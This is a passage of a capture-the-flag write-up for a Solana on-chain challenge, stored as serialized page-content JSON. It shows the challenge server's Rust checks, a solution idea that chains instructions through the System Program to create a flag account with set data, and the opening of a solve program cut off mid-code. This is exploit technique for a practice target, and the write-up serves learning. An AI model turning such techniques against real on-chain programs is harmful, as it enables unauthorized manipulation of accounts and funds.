type":27,"value":45960},"())",{"type":22,"tag":101,"props":45962,"children":45963},{"style":166},[45964],{"type":27,"value":231},{"type":22,"tag":101,"props":45966,"children":45967},{"style":926},[45968],{"type":27,"value":7700},{"type":22,"tag":101,"props":45970,"children":45971},{"style":120},[45972],{"type":27,"value":934},{"type":22,"tag":101,"props":45974,"children":45975},{"class":103,"line":157},[45976,45980,45984,45989,45993,45998,46002,46007,46011,46016,46021,46025,46030,46034,46039,46043],{"type":22,"tag":101,"props":45977,"children":45978},{"style":926},[45979],{"type":27,"value":2100},{"type":22,"tag":101,"props":45981,"children":45982},{"style":120},[45983],{"type":27,"value":980},{"type":22,"tag":101,"props":45985,"children":45986},{"style":126},[45987],{"type":27,"value":45988},"builder",{"type":22,"tag":101,"props":45990,"children":45991},{"style":166},[45992],{"type":27,"value":231},{"type":22,"tag":101,"props":45994,"children":45995},{"style":926},[45996],{"type":27,"value":45997},"add_program",{"type":22,"tag":101,"props":45999,"children":46000},{"style":120},[46001],{"type":27,"value":980},{"type":22,"tag":101,"props":46003,"children":46004},{"style":6476},[46005],{"type":27,"value":46006},"\"/path/to/chall.so\"",{"type":22,"tag":101,"props":46008,"children":46009},{"style":120},[46010],{"type":27,"value":758},{"type":22,"tag":101,"props":46012,"children":46013},{"style":114},[46014],{"type":27,"value":46015},"Some",{"type":22,"tag":101,"props":46017,"children":46018},{"style":120},[46019],{"type":27,"value":46020},"(chall",{"type":22,"tag":101,"props":46022,"children":46023},{"style":166},[46024],{"type":27,"value":970},{"type":22,"tag":101,"props":46026,"children":46027},{"style":120},[46028],{"type":27,"value":46029},"ID)) ",{"type":22,"tag":101,"props":46031,"children":46032},{"style":166},[46033],{"type":27,"value":4340},{"type":22,"tag":101,"props":46035,"children":46036},{"style":120},[46037],{"type":27,"value":46038}," chall",{"type":22,"tag":101,"props":46040,"children":46041},{"style":166},[46042],{"type":27,"value":970},{"type":22,"tag":101,"props":46044,"children":46045},{"style":120},[46046],{"type":27,"value":46047},"ID);\n",{"type":22,"tag":101,"props":46049,"children":46050},{"class":103,"line":182},[46051,46055,46059,46063,46067,46071,46075,46080,46084,46088,46092],{"type":22,"tag":101,"props":46052,"children":46053},{"style":108},[46054],{"type":27,"value":15792},{"type":22,"tag":101,"props":46056,"children":46057},{"style":108},[46058],{"type":27,"value":7052},{"type":22,"tag":101,"props":46060,"children":46061},{"style":126},[46062],{"type":27,"value":46038},{"type":22,"tag":101,"props":46064,"children":46065},{"style":166},[46066],{"type":27,"value":960},{"type":22,"tag":101,"props":46068,"children":46069},{"style":126},[46070],{"type":27,"value":45907},{"type":22,"tag":101,"props":46072,"children":46073},{"style":166},[46074],{"type":27,"value":231},{"type":22,"tag":101,"props":46076,"children":46077},{"style":926},[46078],{"type":27,"value":46079},"build",{"type":22,"tag":101,"props":46081,"children":46082},{"style":120},[46083],{"type":27,"value":17881},{"type":22,"tag":101,"props":46085,"children":46086},{"style":166},[46087],{"type":27,"value":231},{"type":22,"tag":101,"props":46089,"children":46090},{"style":3595},[46091],{"type":27,"value":36912},{"type":22,"tag":101,"props":46093,"children":46094},{"style":120},[46095],{"type":27,"value":1520},{"type":22,"tag":6828,"props":46097,"children":46098},{"start":157},[46099],{"type":22,"tag":6832,"props":46100,"children":46101},{},[46102],{"type":27,"value":46103},"Funds the user account with 100 SOL",{"type":22,"tag":91,"props":46105,"children":46107},{"className":93,"code":46106,"language":95,"meta":7,"style":7},"let user_keypair = Keypair::new();\nlet user = user_keypair.pubkey();\n\nlet payer_keypair = &chall.ctx.payer;\nlet payer = payer_keypair.pubkey();\n\nchall\n .run_ix(system_instruction::transfer(&payer, &user, 100_000_000_000))\n .await?;\n\nwriteln!(socket, \"user: {}\", user)?;\n",[46108],{"type":22,"tag":30,"props":46109,"children":46110},{"__ignoreMap":7},[46111,46144,46176,46183,46225,46257,46264,46272,46336,46355,46362],{"type":22,"tag":101,"props":46112,"children":46113},{"class":103,"line":104},[46114,46118,46123,46127,46132,46136,46140],{"type":22,"tag":101,"props":46115,"children":46116},{"style":108},[46117],{"type":27,"value":15792},{"type":22,"tag":101,"props":46119,"children":46120},{"style":126},[46121],{"type":27,"value":46122}," user_keypair",{"type":22,"tag":101,"props":46124,"children":46125},{"style":166},[46126],{"type":27,"value":960},{"type":22,"tag":101,"props":46128,"children":46129},{"style":114},[46130],{"type":27,"value":46131}," Keypair",{"type":22,"tag":101,"props":46133,"children":46134},{"style":166},[46135],{"type":27,"value":970},{"type":22,"tag":101,"props":46137,"children":46138},{"style":926},[46139],{"type":27,"value":19124},{"type":22,"tag":101,"props":46141,"children":46142},{"style":120},[46143],{"type":27,"value":934},{"type":22,"tag":101,"props":46145,"children":46146},{"class":103,"line":157},[46147,46151,46156,46160,46164,46168,46172],{"type":22,"tag":101,"props":46148,"children":46149},{"style":108},[46150],{"type":27,"value":15792},{"type":22,"tag":101,"props":46152,"children":46153},{"style":126},[46154],{"type":27,"value":46155}," user",{"type":22,"tag":101,"props":46157,"children":46158},{"style":166},[46159],{"type":27,"value":960},{"type":22,"tag":101,"props":46161,"children":46162},{"style":126},[46163],{"type":27,"value":46122},{"type":22,"tag":101,"props":46165,"children":46166},{"style":166},[46167],{"type":27,"value":231},{"type":22,"tag":101,"props":46169,"children":46170},{"style":926},[46171],{"type":27,"value":7579},{"type":22,"tag":101,"props":46173,"children":46174},{"style":120},[46175],{"type":27,"value":934},{"type":22,"tag":101,"props":46177,"children":46178},{"class":103,"line":182},[46179],{"type":22,"tag":101,"props":46180,"children":46181},{"emptyLinePlaceholder":15},[46182],{"type":27,"value":1581},{"type":22,"tag":101,"props":46184,"children":46185},{"class":103,"line":367},[46186,46190,46195,46199,46203,46208,46212,46216,46220],{"type":22,"tag":101,"props":46187,"children":46188},{"style":108},[46189],{"type":27,"value":15792},{"type":22,"tag":101,"props":46191,"children":46192},{"style":126},[46193],{"type":27,"value":46194}," payer_keypair",{"type":22,"tag":101,"props":46196,"children":46197},{"style":166},[46198],{"type":27,"value":960},{"type":22,"tag":101,"props":46200,"children":46201},{"style":166},[46202],{"type":27,"value":870},{"type":22,"tag":101,"props":46204,"children":46205},{"style":126},[46206],{"type":27,"value":46207},"chall",{"type":22,"tag":101,"props":46209,"children":46210},{"style":166},[46211],{"type":27,"value":231},{"type":22,"tag":101,"props":46213,"children":46214},{"style":120},[46215],{"type":27,"value":24271},{"type":22,"tag":101,"props":46217,"children":46218},{"style":166},[46219],{"type":27,"value":231},{"type":22,"tag":101,"props":46221,"children":46222},{"style":120},[46223],{"type":27,"value":46224},"payer;\n",{"type":22,"tag":101,"props":46226,"children":46227},{"class":103,"line":398},[46228,46232,46237,46241,46245,46249,46253],{"type":22,"tag":101,"props":46229,"children":46230},{"style":108},[46231],{"type":27,"value":15792},{"type":22,"tag":101,"props":46233,"children":46234},{"style":126},[46235],{"type":27,"value":46236}," payer",{"type":22,"tag":101,"props":46238,"children":46239},{"style":166},[46240],{"type":27,"value":960},{"type":22,"tag":101,"props":46242,"children":46243},{"style":126},[46244],{"type":27,"value":46194},{"type":22,"tag":101,"props":46246,"children":46247},{"style":166},[46248],{"type":27,"value":231},{"type":22,"tag":101,"props":46250,"children":46251},{"style":926},[46252],{"type":27,"value":7579},{"type":22,"tag":101,"props":46254,"children":46255},{"style":120},[46256],{"type":27,"value":934},{"type":22,"tag":101,"props":46258,"children":46259},{"class":103,"line":428},[46260],{"type":22,"tag":101,"props":46261,"children":46262},{"emptyLinePlaceholder":15},[46263],{"type":27,"value":1581},{"type":22,"tag":101,"props":46265,"children":46266},{"class":103,"line":997},[46267],{"type":22,"tag":101,"props":46268,"children":46269},{"style":126},[46270],{"type":27,"value":46271},"chall\n",{"type":22,"tag":101,"props":46273,"children":46274},{"class":103,"line":1032},[46275,46280,46285,46290,46294,46298,46302,46306,46311,46315,46319,46323,46327,46332],{"type":22,"tag":101,"props":46276,"children":46277},{"style":166},[46278],{"type":27,"value":46279}," .",{"type":22,"tag":101,"props":46281,"children":46282},{"style":926},[46283],{"type":27,"value":46284},"run_ix",{"type":22,"tag":101,"props":46286,"children":46287},{"style":120},[46288],{"type":27,"value":46289},"(system_instruction",{"type":22,"tag":101,"props":46291,"children":46292},{"style":166},[46293],{"type":27,"value":970},{"type":22,"tag":101,"props":46295,"children":46296},{"style":926},[46297],{"type":27,"value":36119},{"type":22,"tag":101,"props":46299,"children":46300},{"style":120},[46301],{"type":27,"value":980},{"type":22,"tag":101,"props":46303,"children":46304},{"style":166},[46305],{"type":27,"value":985},{"type":22,"tag":101,"props":46307,"children":46308},{"style":126},[46309],{"type":27,"value":46310},"payer",{"type":22,"tag":101,"props":46312,"children":46313},{"style":120},[46314],{"type":27,"value":758},{"type":22,"tag":101,"props":46316,"children":46317},{"style":166},[46318],{"type":27,"value":985},{"type":22,"tag":101,"props":46320,"children":46321},{"style":126},[46322],{"type":27,"value":24224},{"type":22,"tag":101,"props":46324,"children":46325},{"style":120},[46326],{"type":27,"value":758},{"type":22,"tag":101,"props":46328,"children":46329},{"style":1544},[46330],{"type":27,"value":46331},"100_000_000_000",{"type":22,"tag":101,"props":46333,"children":46334},{"style":120},[46335],{"type":27,"value":23703},{"type":22,"tag":101,"props":46337,"children":46338},{"class":103,"line":1063},[46339,46343,46347,46351],{"type":22,"tag":101,"props":46340,"children":46341},{"style":166},[46342],{"type":27,"value":46279},{"type":22,"tag":101,"props":46344,"children":46345},{"style":3595},[46346],{"type":27,"value":36912},{"type":22,"tag":101,"props":46348,"children":46349},{"style":166},[46350],{"type":27,"value":5455},{"type":22,"tag":101,"props":46352,"children":46353},{"style":120},[46354],{"type":27,"value":1520},{"type":22,"tag":101,"props":46356,"children":46357},{"class":103,"line":1071},[46358],{"type":22,"tag":101,"props":46359,"children":46360},{"emptyLinePlaceholder":15},[46361],{"type":27,"value":1581},{"type":22,"tag":101,"props":46363,"children":46364},{"class":103,"line":1110},[46365,46370,46374,46378,46382,46387,46391,46395,46399,46403],{"type":22,"tag":101,"props":46366,"children":46367},{"style":926},[46368],{"type":27,"value":46369},"writeln!",{"type":22,"tag":101,"props":46371,"children":46372},{"style":120},[46373],{"type":27,"value":980},{"type":22,"tag":101,"props":46375,"children":46376},{"style":126},[46377],{"type":27,"value":45934},{"type":22,"tag":101,"props":46379,"children":46380},{"style":120},[46381],{"type":27,"value":758},{"type":22,"tag":101,"props":46383,"children":46384},{"style":6476},[46385],{"type":27,"value":46386},"\"user: {}\"",{"type":22,"tag":101,"props":46388,"children":46389},{"style":120},[46390],{"type":27,"value":758},{"type":22,"tag":101,"props":46392,"children":46393},{"style":126},[46394],{"type":27,"value":24224},{"type":22,"tag":101,"props":46396,"children":46397},{"style":120},[46398],{"type":27,"value":2261},{"type":22,"tag":101,"props":46400,"children":46401},{"style":166},[46402],{"type":27,"value":5455},{"type":22,"tag":101,"props":46404,"children":46405},{"style":120},[46406],{"type":27,"value":1520},{"type":22,"tag":6828,"props":46408,"children":46409},{"start":182},[46410],{"type":22,"tag":6832,"props":46411,"children":46412},{},[46413],{"type":27,"value":46414},"Reads an instruction from the tcp stream and executes it",{"type":22,"tag":91,"props":46416,"children":46418},{"className":93,"code":46417,"language":95,"meta":7,"style":7},"let solve_ix = chall.read_instruction(chall::ID)?;\nchall.run_ixs_full(&[solve_ix], &[&user_keypair], &user).await?;\n",[46419],{"type":22,"tag":30,"props":46420,"children":46421},{"__ignoreMap":7},[46422,46472],{"type":22,"tag":101,"props":46423,"children":46424},{"class":103,"line":104},[46425,46429,46434,46438,46442,46446,46451,46455,46459,46464,46468],{"type":22,"tag":101,"props":46426,"children":46427},{"style":108},[46428],{"type":27,"value":15792},{"type":22,"tag":101,"props":46430,"children":46431},{"style":126},[46432],{"type":27,"value":46433}," solve_ix",{"type":22,"tag":101,"props":46435,"children":46436},{"style":166},[46437],{"type":27,"value":960},{"type":22,"tag":101,"props":46439,"children":46440},{"style":126},[46441],{"type":27,"value":46038},{"type":22,"tag":101,"props":46443,"children":46444},{"style":166},[46445],{"type":27,"value":231},{"type":22,"tag":101,"props":46447,"children":46448},{"style":926},[46449],{"type":27,"value":46450},"read_instruction",{"type":22,"tag":101,"props":46452,"children":46453},{"style":120},[46454],{"type":27,"value":46020},{"type":22,"tag":101,"props":46456,"children":46457},{"style":166},[46458],{"type":27,"value":970},{"type":22,"tag":101,"props":46460,"children":46461},{"style":120},[46462],{"type":27,"value":46463},"ID)",{"type":22,"tag":101,"props":46465,"children":46466},{"style":166},[46467],{"type":27,"value":5455},{"type":22,"tag":101,"props":46469,"children":46470},{"style":120},[46471],{"type":27,"value":1520},{"type":22,"tag":101,"props":46473,"children":46474},{"class":103,"line":157},[46475,46479,46483,46488,46492,46496,46500,46505,46509,46513,46517,46521,46526,46530,46534,46538,46542,46546,46550,46554],{"type":22,"tag":101,"props":46476,"children":46477},{"style":126},[46478],{"type":27,"value":46207},{"type":22,"tag":101,"props":46480,"children":46481},{"style":166},[46482],{"type":27,"value":231},{"type":22,"tag":101,"props":46484,"children":46485},{"style":926},[46486],{"type":27,"value":46487},"run_ixs_full",{"type":22,"tag":101,"props":46489,"children":46490},{"style":120},[46491],{"type":27,"value":980},{"type":22,"tag":101,"props":46493,"children":46494},{"style":166},[46495],{"type":27,"value":985},{"type":22,"tag":101,"props":46497,"children":46498},{"style":120},[46499],{"type":27,"value":2414},{"type":22,"tag":101,"props":46501,"children":46502},{"style":126},[46503],{"type":27,"value":46504},"solve_ix",{"type":22,"tag":101,"props":46506,"children":46507},{"style":120},[46508],{"type":27,"value":27047},{"type":22,"tag":101,"props":46510,"children":46511},{"style":166},[46512],{"type":27,"value":985},{"type":22,"tag":101,"props":46514,"children":46515},{"style":120},[46516],{"type":27,"value":2414},{"type":22,"tag":101,"props":46518,"children":46519},{"style":166},[46520],{"type":27,"value":985},{"type":22,"tag":101,"props":46522,"children":46523},{"style":126},[46524],{"type":27,"value":46525},"user_keypair",{"type":22,"tag":101,"props":46527,"children":46528},{"style":120},[46529],{"type":27,"value":27047},{"type":22,"tag":101,"props":46531,"children":46532},{"style":166},[46533],{"type":27,"value":985},{"type":22,"tag":101,"props":46535,"children":46536},{"style":126},[46537],{"type":27,"value":24224},{"type":22,"tag":101,"props":46539,"children":46540},{"style":120},[46541],{"type":27,"value":2261},{"type":22,"tag":101,"props":46543,"children":46544},{"style":166},[46545],{"type":27,"value":231},{"type":22,"tag":101,"props":46547,"children":46548},{"style":3595},[46549],{"type":27,"value":36912},{"type":22,"tag":101,"props":46551,"children":46552},{"style":166},[46553],{"type":27,"value":5455},{"type":22,"tag":101,"props":46555,"children":46556},{"style":120},[46557],{"type":27,"value":1520},{"type":22,"tag":6828,"props":46559,"children":46560},{"start":367},[46561],{"type":22,"tag":6832,"props":46562,"children":46563},{},[46564],{"type":27,"value":46565},"Checks that the account at PDA(\"FLAG\") exists, has a data length of 0x1337 and the first 8 bytes are equal to 0x4337. If so, it prints the flag.",{"type":22,"tag":91,"props":46567,"children":46569},{"className":93,"code":46568,"language":95,"meta":7,"style":7},"let flag = Pubkey::create_program_address(&[\"FLAG\".as_ref()], &chall::ID)?;\nif let Some(acct) = chall.ctx.banks_client.get_account(flag).await? {\n if acct.data.len() == 0x1337\n && u64::from_le_bytes(acct.data[..8].try_into().unwrap()) == 0x4337\n {\n writeln!(socket, \"congrats!\")?;\n if let Ok(flag) = env::var(\"FLAG\") {\n writeln!(socket, \"flag: {:?}\", flag)?;\n } else {\n writeln!(socket, \"flag not found, please contact admin\")?;\n }\n }\n}\n",[46570],{"type":22,"tag":30,"props":46571,"children":46572},{"__ignoreMap":7},[46573,46657,46748,46789,46873,46880,46917,46974,47019,47034,47070,47077,47084],{"type":22,"tag":101,"props":46574,"children":46575},{"class":103,"line":104},[46576,46580,46585,46589,46593,46597,46602,46606,46610,46614,46619,46623,46628,46633,46637,46641,46645,46649,46653],{"type":22,"tag":101,"props":46577,"children":46578},{"style":108},[46579],{"type":27,"value":15792},{"type":22,"tag":101,"props":46581,"children":46582},{"style":126},[46583],{"type":27,"value":46584}," flag",{"type":22,"tag":101,"props":46586,"children":46587},{"style":166},[46588],{"type":27,"value":960},{"type":22,"tag":101,"props":46590,"children":46591},{"style":114},[46592],{"type":27,"value":24844},{"type":22,"tag":101,"props":46594,"children":46595},{"style":166},[46596],{"type":27,"value":970},{"type":22,"tag":101,"props":46598,"children":46599},{"style":926},[46600],{"type":27,"value":46601},"create_program_address",{"type":22,"tag":101,"props":46603,"children":46604},{"style":120},[46605],{"type":27,"value":980},{"type":22,"tag":101,"props":46607,"children":46608},{"style":166},[46609],{"type":27,"value":985},{"type":22,"tag":101,"props":46611,"children":46612},{"style":120},[46613],{"type":27,"value":2414},{"type":22,"tag":101,"props":46615,"children":46616},{"style":6476},[46617],{"type":27,"value":46618},"\"FLAG\"",{"type":22,"tag":101,"props":46620,"children":46621},{"style":166},[46622],{"type":27,"value":231},{"type":22,"tag":101,"props":46624,"children":46625},{"style":926},[46626],{"type":27,"value":46627},"as_ref",{"type":22,"tag":101,"props":46629,"children":46630},{"style":120},[46631],{"type":27,"value":46632},"()], ",{"type":22,"tag":101,"props":46634,"children":46635},{"style":166},[46636],{"type":27,"value":985},{"type":22,"tag":101,"props":46638,"children":46639},{"style":120},[46640],{"type":27,"value":46207},{"type":22,"tag":101,"props":46642,"children":46643},{"style":166},[46644],{"type":27,"value":970},{"type":22,"tag":101,"props":46646,"children":46647},{"style":120},[46648],{"type":27,"value":46463},{"type":22,"tag":101,"props":46650,"children":46651},{"style":166},[46652],{"type":27,"value":5455},{"type":22,"tag":101,"props":46654,"children":46655},{"style":120},[46656],{"type":27,"value":1520},{"type":22,"tag":101,"props":46658,"children":46659},{"class":103,"line":157},[46660,46664,46668,46672,46676,46681,46685,46689,46693,46697,46701,46705,46710,46714,46719,46723,46728,46732,46736,46740,46744],{"type":22,"tag":101,"props":46661,"children":46662},{"style":3595},[46663],{"type":27,"value":19578},{"type":22,"tag":101,"props":46665,"children":46666},{"style":108},[46667],{"type":27,"value":31303},{"type":22,"tag":101,"props":46669,"children":46670},{"style":114},[46671],{"type":27,"value":31308},{"type":22,"tag":101,"props":46673,"children":46674},{"style":120},[46675],{"type":27,"value":980},{"type":22,"tag":101,"props":46677,"children":46678},{"style":126},[46679],{"type":27,"value":46680},"acct",{"type":22,"tag":101,"props":46682,"children":46683},{"style":120},[46684],{"type":27,"value":901},{"type":22,"tag":101,"props":46686,"children":46687},{"style":166},[46688],{"type":27,"value":1511},{"type":22,"tag":101,"props":46690,"children":46691},{"style":126},[46692],{"type":27,"value":46038},{"type":22,"tag":101,"props":46694,"children":46695},{"style":166},[46696],{"type":27,"value":231},{"type":22,"tag":101,"props":46698,"children":46699},{"style":120},[46700],{"type":27,"value":24271},{"type":22,"tag":101,"props":46702,"children":46703},{"style":166},[46704],{"type":27,"value":231},{"type":22,"tag":101,"props":46706,"children":46707},{"style":120},[46708],{"type":27,"value":46709},"banks_client",{"type":22,"tag":101,"props":46711,"children":46712},{"style":166},[46713],{"type":27,"value":231},{"type":22,"tag":101,"props":46715,"children":46716},{"style":926},[46717],{"type":27,"value":46718},"get_account",{"type":22,"tag":101,"props":46720,"children":46721},{"style":120},[46722],{"type":27,"value":980},{"type":22,"tag":101,"props":46724,"children":46725},{"style":126},[46726],{"type":27,"value":46727},"flag",{"type":22,"tag":101,"props":46729,"children":46730},{"style":120},[46731],{"type":27,"value":2261},{"type":22,"tag":101,"props":46733,"children":46734},{"style":166},[46735],{"type":27,"value":231},{"type":22,"tag":101,"props":46737,"children":46738},{"style":3595},[46739],{"type":27,"value":36912},{"type":22,"tag":101,"props":46741,"children":46742},{"style":166},[46743],{"type":27,"value":5455},{"type":22,"tag":101,"props":46745,"children":46746},{"style":120},[46747],{"type":27,"value":154},{"type":22,"tag":101,"props":46749,"children":46750},{"class":103,"line":182},[46751,46755,46760,46764,46768,46772,46776,46780,46784],{"type":22,"tag":101,"props":46752,"children":46753},{"style":3595},[46754],{"type":27,"value":16283},{"type":22,"tag":101,"props":46756,"children":46757},{"style":126},[46758],{"type":27,"value":46759}," acct",{"type":22,"tag":101,"props":46761,"children":46762},{"style":166},[46763],{"type":27,"value":231},{"type":22,"tag":101,"props":46765,"children":46766},{"style":120},[46767],{"type":27,"value":7738},{"type":22,"tag":101,"props":46769,"children":46770},{"style":166},[46771],{"type":27,"value":231},{"type":22,"tag":101,"props":46773,"children":46774},{"style":926},[46775],{"type":27,"value":13147},{"type":22,"tag":101,"props":46777,"children":46778},{"style":120},[46779],{"type":27,"value":18045},{"type":22,"tag":101,"props":46781,"children":46782},{"style":166},[46783],{"type":27,"value":4340},{"type":22,"tag":101,"props":46785,"children":46786},{"style":1544},[46787],{"type":27,"value":46788}," 0x1337\n",{"type":22,"tag":101,"props":46790,"children":46791},{"class":103,"line":367},[46792,46797,46801,46805,46810,46814,46818,46822,46827,46831,46835,46839,46843,46847,46851,46855,46859,46864,46868],{"type":22,"tag":101,"props":46793,"children":46794},{"style":166},[46795],{"type":27,"value":46796}," &&",{"type":22,"tag":101,"props":46798,"children":46799},{"style":114},[46800],{"type":27,"value":174},{"type":22,"tag":101,"props":46802,"children":46803},{"style":166},[46804],{"type":27,"value":970},{"type":22,"tag":101,"props":46806,"children":46807},{"style":926},[46808],{"type":27,"value":46809},"from_le_bytes",{"type":22,"tag":101,"props":46811,"children":46812},{"style":120},[46813],{"type":27,"value":980},{"type":22,"tag":101,"props":46815,"children":46816},{"style":126},[46817],{"type":27,"value":46680},{"type":22,"tag":101,"props":46819,"children":46820},{"style":166},[46821],{"type":27,"value":231},{"type":22,"tag":101,"props":46823,"children":46824},{"style":120},[46825],{"type":27,"value":46826},"data[",{"type":22,"tag":101,"props":46828,"children":46829},{"style":166},[46830],{"type":27,"value":7096},{"type":22,"tag":101,"props":46832,"children":46833},{"style":1544},[46834],{"type":27,"value":8119},{"type":22,"tag":101,"props":46836,"children":46837},{"style":120},[46838],{"type":27,"value":19412},{"type":22,"tag":101,"props":46840,"children":46841},{"style":166},[46842],{"type":27,"value":231},{"type":22,"tag":101,"props":46844,"children":46845},{"style":926},[46846],{"type":27,"value":30160},{"type":22,"tag":101,"props":46848,"children":46849},{"style":120},[46850],{"type":27,"value":17881},{"type":22,"tag":101,"props":46852,"children":46853},{"style":166},[46854],{"type":27,"value":231},{"type":22,"tag":101,"props":46856,"children":46857},{"style":926},[46858],{"type":27,"value":7700},{"type":22,"tag":101,"props":46860,"children":46861},{"style":120},[46862],{"type":27,"value":46863},"()) ",{"type":22,"tag":101,"props":46865,"children":46866},{"style":166},[46867],{"type":27,"value":4340},{"type":22,"tag":101,"props":46869,"children":46870},{"style":1544},[46871],{"type":27,"value":46872}," 0x4337\n",{"type":22,"tag":101,"props":46874,"children":46875},{"class":103,"line":398},[46876],{"type":22,"tag":101,"props":46877,"children":46878},{"style":120},[46879],{"type":27,"value":33186},{"type":22,"tag":101,"props":46881,"children":46882},{"class":103,"line":428},[46883,46888,46892,46896,46900,46905,46909,46913],{"type":22,"tag":101,"props":46884,"children":46885},{"style":926},[46886],{"type":27,"value":46887}," writeln!",{"type":22,"tag":101,"props":46889,"children":46890},{"style":120},[46891],{"type":27,"value":980},{"type":22,"tag":101,"props":46893,"children":46894},{"style":126},[46895],{"type":27,"value":45934},{"type":22,"tag":101,"props":46897,"children":46898},{"style":120},[46899],{"type":27,"value":758},{"type":22,"tag":101,"props":46901,"children":46902},{"style":6476},[46903],{"type":27,"value":46904},"\"congrats!\"",{"type":22,"tag":101,"props":46906,"children":46907},{"style":120},[46908],{"type":27,"value":2261},{"type":22,"tag":101,"props":46910,"children":46911},{"style":166},[46912],{"type":27,"value":5455},{"type":22,"tag":101,"props":46914,"children":46915},{"style":120},[46916],{"type":27,"value":1520},{"type":22,"tag":101,"props":46918,"children":46919},{"class":103,"line":997},[46920,46924,46928,46933,46937,46941,46945,46949,46954,46958,46962,46966,46970],{"type":22,"tag":101,"props":46921,"children":46922},{"style":3595},[46923],{"type":27,"value":7312},{"type":22,"tag":101,"props":46925,"children":46926},{"style":108},[46927],{"type":27,"value":31303},{"type":22,"tag":101,"props":46929,"children":46930},{"style":114},[46931],{"type":27,"value":46932}," Ok",{"type":22,"tag":101,"props":46934,"children":46935},{"style":120},[46936],{"type":27,"value":980},{"type":22,"tag":101,"props":46938,"children":46939},{"style":126},[46940],{"type":27,"value":46727},{"type":22,"tag":101,"props":46942,"children":46943},{"style":120},[46944],{"type":27,"value":901},{"type":22,"tag":101,"props":46946,"children":46947},{"style":166},[46948],{"type":27,"value":1511},{"type":22,"tag":101,"props":46950,"children":46951},{"style":120},[46952],{"type":27,"value":46953}," env",{"type":22,"tag":101,"props":46955,"children":46956},{"style":166},[46957],{"type":27,"value":970},{"type":22,"tag":101,"props":46959,"children":46960},{"style":926},[46961],{"type":27,"value":39043},{"type":22,"tag":101,"props":46963,"children":46964},{"style":120},[46965],{"type":27,"value":980},{"type":22,"tag":101,"props":46967,"children":46968},{"style":6476},[46969],{"type":27,"value":46618},{"type":22,"tag":101,"props":46971,"children":46972},{"style":120},[46973],{"type":27,"value":1463},{"type":22,"tag":101,"props":46975,"children":46976},{"class":103,"line":1032},[46977,46982,46986,46990,46994,46999,47003,47007,47011,47015],{"type":22,"tag":101,"props":46978,"children":46979},{"style":926},[46980],{"type":27,"value":46981}," writeln!",{"type":22,"tag":101,"props":46983,"children":46984},{"style":120},[46985],{"type":27,"value":980},{"type":22,"tag":101,"props":46987,"children":46988},{"style":126},[46989],{"type":27,"value":45934},{"type":22,"tag":101,"props":46991,"children":46992},{"style":120},[46993],{"type":27,"value":758},{"type":22,"tag":101,"props":46995,"children":46996},{"style":6476},[46997],{"type":27,"value":46998},"\"flag: {:?}\"",{"type":22,"tag":101,"props":47000,"children":47001},{"style":120},[47002],{"type":27,"value":758},{"type":22,"tag":101,"props":47004,"children":47005},{"style":126},[47006],{"type":27,"value":46727},{"type":22,"tag":101,"props":47008,"children":47009},{"style":120},[47010],{"type":27,"value":2261},{"type":22,"tag":101,"props":47012,"children":47013},{"style":166},[47014],{"type":27,"value":5455},{"type":22,"tag":101,"props":47016,"children":47017},{"style":120},[47018],{"type":27,"value":1520},{"type":22,"tag":101,"props":47020,"children":47021},{"class":103,"line":1063},[47022,47026,47030],{"type":22,"tag":101,"props":47023,"children":47024},{"style":120},[47025],{"type":27,"value":7349},{"type":22,"tag":101,"props":47027,"children":47028},{"style":3595},[47029],{"type":27,"value":7354},{"type":22,"tag":101,"props":47031,"children":47032},{"style":120},[47033],{"type":27,"value":154},{"type":22,"tag":101,"props":47035,"children":47036},{"class":103,"line":1071},[47037,47041,47045,47049,47053,47058,47062,47066],{"type":22,"tag":101,"props":47038,"children":47039},{"style":926},[47040],{"type":27,"value":46981},{"type":22,"tag":101,"props":47042,"children":47043},{"style":120},[47044],{"type":27,"value":980},{"type":22,"tag":101,"props":47046,"children":47047},{"style":126},[47048],{"type":27,"value":45934},{"type":22,"tag":101,"props":47050,"children":47051},{"style":120},[47052],{"type":27,"value":758},{"type":22,"tag":101,"props":47054,"children":47055},{"style":6476},[47056],{"type":27,"value":47057},"\"flag not found, please contact admin\"",{"type":22,"tag":101,"props":47059,"children":47060},{"style":120},[47061],{"type":27,"value":2261},{"type":22,"tag":101,"props":47063,"children":47064},{"style":166},[47065],{"type":27,"value":5455},{"type":22,"tag":101,"props":47067,"children":47068},{"style":120},[47069],{"type":27,"value":1520},{"type":22,"tag":101,"props":47071,"children":47072},{"class":103,"line":1110},[47073],{"type":22,"tag":101,"props":47074,"children":47075},{"style":120},[47076],{"type":27,"value":2398},{"type":22,"tag":101,"props":47078,"children":47079},{"class":103,"line":1118},[47080],{"type":22,"tag":101,"props":47081,"children":47082},{"style":120},[47083],{"type":27,"value":1734},{"type":22,"tag":101,"props":47085,"children":47086},{"class":103,"line":1158},[47087],{"type":22,"tag":101,"props":47088,"children":47089},{"style":120},[47090],{"type":27,"value":188},{"type":22,"tag":53,"props":47092,"children":47094},{"id":47093},"solution-idea",[47095],{"type":27,"value":47096},"Solution Idea",{"type":22,"tag":23,"props":47098,"children":47099},{},[47100,47102,47107],{"type":27,"value":47101},"You may think it's impossible to do with just one instruction, but we can actually leverage the ",{"type":22,"tag":30,"props":47103,"children":47105},{"className":47104},[],[47106],{"type":27,"value":39678},{"type":27,"value":47108}," function to execute infinite instructions. Well -- not entirely infinite, as we are limited by the amount of data we can pass to the on-chain program, and by the maximum stack depth of the Solana VM -- but we can execute up to 64 instructions, which is more than enough to get the flag.",{"type":22,"tag":23,"props":47110,"children":47111},{},[47112,47114,47120],{"type":27,"value":47113},"In order to get the flag, we need to make sure that the account at ",{"type":22,"tag":30,"props":47115,"children":47117},{"className":47116},[],[47118],{"type":27,"value":47119},"PDA(\"FLAG\")",{"type":27,"value":47121}," exists, has a data length of 0x1337, and the first 8 bytes are equal to 0x4337.",{"type":22,"tag":23,"props":47123,"children":47124},{},[47125,47127,47134],{"type":27,"value":47126},"Essentially, we need to ",{"type":22,"tag":80,"props":47128,"children":47131},{"href":47129,"rel":47130},"https://docs.solana.com/developing/runtime-facilities/programs#system-program",[84],[47132],{"type":27,"value":47133},"invoke the System Program",{"type":27,"value":47135},", and write controlled data into the newly created account.",{"type":22,"tag":23,"props":47137,"children":47138},{},[47139],{"type":27,"value":47140},"A sample program that does this is as follows:",{"type":22,"tag":91,"props":47142,"children":47144},{"className":93,"code":47143,"language":95,"meta":7,"style":7},"pub fn process_instruction(\n program_id: &Pubkey,\n accounts: &[AccountInfo],\n data: &[u8]\n) -> ProgramResult {\n let flag_pda_ai = &accounts[0];\n let user_ai = &accounts[1];\n\n // Step 1: Create a new account with 0x1337 bytes of data\n let instruction = Instruction::new_with_bincode(\n 